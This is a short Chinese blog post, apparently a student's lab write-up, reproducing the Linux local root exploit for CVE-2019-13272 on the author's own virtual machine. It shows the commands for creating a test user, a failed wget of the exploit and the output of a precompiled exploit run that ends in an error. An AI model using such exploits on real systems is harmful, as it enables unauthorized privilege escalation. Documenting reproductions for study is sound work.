

CVE-2019-13272: linux本地内核提权漏洞复现

首先拿我自己的学生机来试试（腾讯云学生机）

创建新用户

```
sudo useradd test
```

```
sudo passwd test
```

```
lyq@lyq-virtual-machine:~/Documents/CVE$ sudo useradd test
lyq@lyq-virtual-machine:~/Documents/CVE$ passwd test
passwd: You may not view or modify password information for test.
lyq@lyq-virtual-machine:~/Documents/CVE$ sudo passwd test
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
lyq@lyq-virtual-machine:~/Documents/CVE$
```

切换用户

```
su test
```

```
lyq@lyq-virtual-machine:~/Documents/CVE$ su test
Password:
test@lyq-virtual-machine:/home/lyq/Documents/CVE$
```

权限太低以至于下载不了文件，也无法编译。这里我直接拷贝一个编译好的文件进去。

```
test-2@lyq-virtual-machine:/home/lyq/Documents/CVE$ uname -a
Linux lyq-virtual-machine 4.16.1 #1 SMP Sun Feb 23 23:28:45 CST 2020
64 x86_64 GNU/Linux
test-2@lyq-virtual-machine:/home/lyq/Documents/CVE$ whoami
test-2
test-2@lyq-virtual-machine:/home/lyq/Documents/CVE$ wget https://es/kernel-exploits/tree/master/CVE-2019-13272
--2020-02-25 17:34:41-- https://github.com/bcoles/kernel-exploit
CVE-2019-13272
Resolving github.com (github.com)... 13.250.177.223
Connecting to github.com (github.com)|13.250.177.223|:443... conn
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
CVE-2019-13272: Permission denied

Cannot write to 'CVE-2019-13272' (Success).
test-2@lyq-virtual-machine:/home/lyq/Documents/CVE$
```

昨天上课复现的时候是可以实现提权至的。现在重新试了一次好像就不行了，出了点错误

```
exp - poc1
lyq@lyq-virtual-machine:~/Documents/CVE$ su test-2
Password:
test-2@lyq-virtual-machine:/home/lyq/Documents/CVE$ ./exp
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[~] Done, looks good
[.] Searching policies for useful helpers ...
[.] Ignoring helper (blacklisted): /usr/lib/update-notifier/package-system-
d
[.] Ignoring helper (blacklisted): /usr/lib/xserver-xorg-video-intel-hwe-16
f86-video-intel-backlight-helper
[.] Trying helper: /usr/lib/unity-settings-daemon/usd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
Error changing to home directory /home/test-2: No such file or directory
^[[A
```